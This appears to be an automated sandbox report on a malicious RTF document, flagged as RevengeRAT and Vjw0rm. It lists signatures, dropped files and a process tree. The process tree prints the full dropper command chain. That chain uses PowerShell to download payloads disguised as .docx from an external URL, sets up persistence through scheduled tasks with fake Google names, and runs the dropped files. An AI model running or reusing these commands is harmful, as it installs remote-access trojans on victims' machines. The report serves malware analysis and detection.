Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/09/2024, 02:23

General

  • Target
    eca7e438ad10709a7f1816a406023a61_JaffaCakes118.rtf
  • Size 1.6MB
  • Sample240920-ct6tpstflg
  • SHA256 d298f6741d1e6df0f9201d86e9bc89c29f0f37e3c437498f3f5471a56ad80fa0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://120842333-887063928606937956.preview.editmysite.com/uploads/1/2/0/8/120842333/itr.docx

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://120842333-887063928606937956.preview.editmysite.com/uploads/1/2/0/8/120842333/itr2.docx

Extracted

Family
  • revengerat

Mutex

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Vjw0rm

    Vjw0rm is a remote access trojan written in JavaScript.

  • RevengeRat Executable 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 11 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Gathers network information 2 TTPs 4 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 2 IoCs
  • Runs ping.exe 1 TTPs 11 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eca7e438ad10709a7f1816a406023a61_JaffaCakes118.rtf" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1992
  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4028
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "taskkill /f /im winword.exe & taskkill /f /im excel.exe & ping -n 3 localhost & schtasks /create /tn "GoogleTasksChromeServ4" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\GoogleTasksChromeServ4.js" /sc minute /mo 3 /f & ping -n 3 localhost & schtasks /create /tn "ServicesGoogleTasks4" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\ServicesGoogleTasks4.exe" /sc minute /mo 3 /f & ping -n 3 localhost & PowerShell (New-Object System.Net.WebClient).DownloadFile(“https://120842333-887063928606937956.preview.editmysite.com/uploads/1/2/0/8/120842333/itr.docx”, “%AppData%\\Microsoft\\GoogleTasksChromeServ4.js”) & ping -n 3 localhost & PowerShell (New-Object System.Net.WebClient).DownloadFile(“https://120842333-887063928606937956.preview.editmysite.com/uploads/1/2/0/8/120842333/itr2.docx”, “%AppData%\\Microsoft\\ServicesGoogleTasks4.exe”) & ping -n 3 localhost & ipconfig/release & ping -n 3 localhost & ipconfig/release & ping -n 3 localhost & ipconfig/release & ping -n 3 localhost & schtasks /run /tn "ServicesGoogleTasks4" & ping -n 3 localhost & schtasks /run /tn "GoogleTasksChromeServ4" & ping -n 60 localhost & ipconfig/renew & ping -n 3 localhost & exit"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4696
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im winword.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2488
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im excel.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4748
      • C:\Windows\system32\PING.EXE
        ping -n 3 localhost
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:4432
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "GoogleTasksChromeServ4" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\GoogleTasksChromeServ4.js" /sc minute /mo 3 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1096
      • C:\Windows\system32\PING.EXE
        ping -n 3 localhost
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:4388
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "ServicesGoogleTasks4" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\ServicesGoogleTasks4.exe" /sc minute /mo 3 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2156
      • C:\Windows\system32\PING.EXE
        ping -n 3 localhost
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:1672
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowerShell (New-Object System.Net.WebClient).DownloadFile(“https://120842333-887063928606937956.preview.editmysite.com/uploads/1/2/0/8/120842333/itr.docx”, “C:\Users\Admin\AppData\Roaming\\Microsoft\\GoogleTasksChromeServ4.js”)
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2520
      • C:\Windows\system32\PING.EXE
        ping -n 3 localhost
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:5100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowerShell (New-Object System.Net.WebClient).DownloadFile(“https://120842333-887063928606937956.preview.editmysite.com/uploads/1/2/0/8/120842333/itr2.docx”, “C:\Users\Admin\AppData\Roaming\\Microsoft\\ServicesGoogleTasks4.exe”)
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4000
      • C:\Windows\system32\PING.EXE
        ping -n 3 localhost
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3656
      • C:\Windows\system32\ipconfig.exe
        ipconfig /release
        3⤵
        • Gathers network information
        PID:3532
      • C:\Windows\system32\PING.EXE
        ping -n 3 localhost
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:4884
      • C:\Windows\system32\ipconfig.exe
        ipconfig /release
        3⤵
        • Gathers network information
        PID:3384
      • C:\Windows\system32\PING.EXE
        ping -n 3 localhost
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3756
      • C:\Windows\system32\ipconfig.exe
        ipconfig /release
        3⤵
        • Gathers network information
        PID:1192
      • C:\Windows\system32\PING.EXE
        ping -n 3 localhost
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3724
      • C:\Windows\system32\schtasks.exe
        schtasks /run /tn "ServicesGoogleTasks4"
        3⤵
          PID:1308
        • C:\Windows\system32\PING.EXE
          ping -n 3 localhost
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4952
        • C:\Windows\system32\schtasks.exe
          schtasks /run /tn "GoogleTasksChromeServ4"
          3⤵
            PID:836
          • C:\Windows\system32\PING.EXE
            ping -n 60 localhost
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2956
          • C:\Windows\system32\ipconfig.exe
            ipconfig /renew
            3⤵
            • Gathers network information
            PID:3956
          • C:\Windows\system32\PING.EXE
            ping -n 3 localhost
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:404
      • C:\Users\Admin\AppData\Roaming\Microsoft\ServicesGoogleTasks4.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\ServicesGoogleTasks4.exe
        1⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Suspicious use of AdjustPrivilegeToken
        PID:3892
      • C:\Windows\System32\WScript.exe
        C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\GoogleTasksChromeServ4.js"
        1⤵
          PID:4384

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 2KB
              • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
              • MD5 SHA1 SHA512

              B2F071E4-BE71-4796-AB38-5DC802CD4C3F

              • Path C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\B2F071E4-BE71-4796-AB38-5DC802CD4C3F
              • Size 171KB
              • SHA256 15bcd193105a2b8200bb0d11b400a128529b23d2316ebd0260b06068fe6090c2
              • MD5 SHA1 SHA512 SSDEEP

              089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

              • Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres
              • Size 2KB
              • SHA256 afde67c5cb0eba64b817c1711445ab3e014483a615390440883336ef9f935e7a
              • MD5 SHA1 SHA512

              49dbe2955480c7f6ef8cec9c4320c9868d9293fd.tbres

              • Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\49dbe2955480c7f6ef8cec9c4320c9868d9293fd.tbres
              • Size 2KB
              • SHA256 98123c6bd982bb00f0bd116277cbe2d7bdbf6d013c789e989a7e30f83f1ef1dd
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383
              • MD5 SHA1 SHA512

              __PSScriptPolicyTest_ow0fnenr.nsf.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ow0fnenr.nsf.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              GoogleTasksChromeServ4.js

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\GoogleTasksChromeServ4.js
              • Size 3KB
              • SHA256 9273f3068b99f5de85bf73135ef1db95bf43a86ca1400ddcdf2f59a570bc6471
              • MD5 SHA1 SHA512

              ServicesGoogleTasks4.exe

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\ServicesGoogleTasks4.exe
              • Size 84KB
              • SHA256 dbafb09a563bbcc4f1d7d8ea963eabbb77d301b4438f43096924eb2c3f513712
              • MD5 SHA1 SHA512 SSDEEP

              memory/1992-21-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-2-0x00007FFDF5B90000-0x00007FFDF5BA0000-memory.dmp

              memory/1992-14-0x00007FFDF3560000-0x00007FFDF3570000-memory.dmp

              memory/1992-11-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-10-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-7-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-16-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-17-0x00007FFDF3560000-0x00007FFDF3570000-memory.dmp

              memory/1992-18-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-20-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-4-0x00007FFDF5B90000-0x00007FFDF5BA0000-memory.dmp

              memory/1992-19-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-15-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-6-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-5-0x00007FFDF5B90000-0x00007FFDF5BA0000-memory.dmp

              memory/1992-3-0x00007FFDF5B90000-0x00007FFDF5BA0000-memory.dmp

              memory/1992-12-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-8-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-9-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-62-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/1992-1-0x00007FFE35BAD000-0x00007FFE35BAE000-memory.dmp

              memory/1992-0-0x00007FFDF5B90000-0x00007FFDF5BA0000-memory.dmp

              memory/1992-13-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/2520-70-0x0000022A39200000-0x0000022A39222000-memory.dmp

              memory/3892-92-0x000000001BC60000-0x000000001BD06000-memory.dmp

              memory/3892-93-0x00000000016B0000-0x00000000016B8000-memory.dmp

              memory/3892-94-0x000000001C2E0000-0x000000001C7AE000-memory.dmp

              memory/3892-95-0x000000001C820000-0x000000001C882000-memory.dmp

              memory/4028-63-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/4028-39-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp

              memory/4028-35-0x00007FFE35B10000-0x00007FFE35D05000-memory.dmp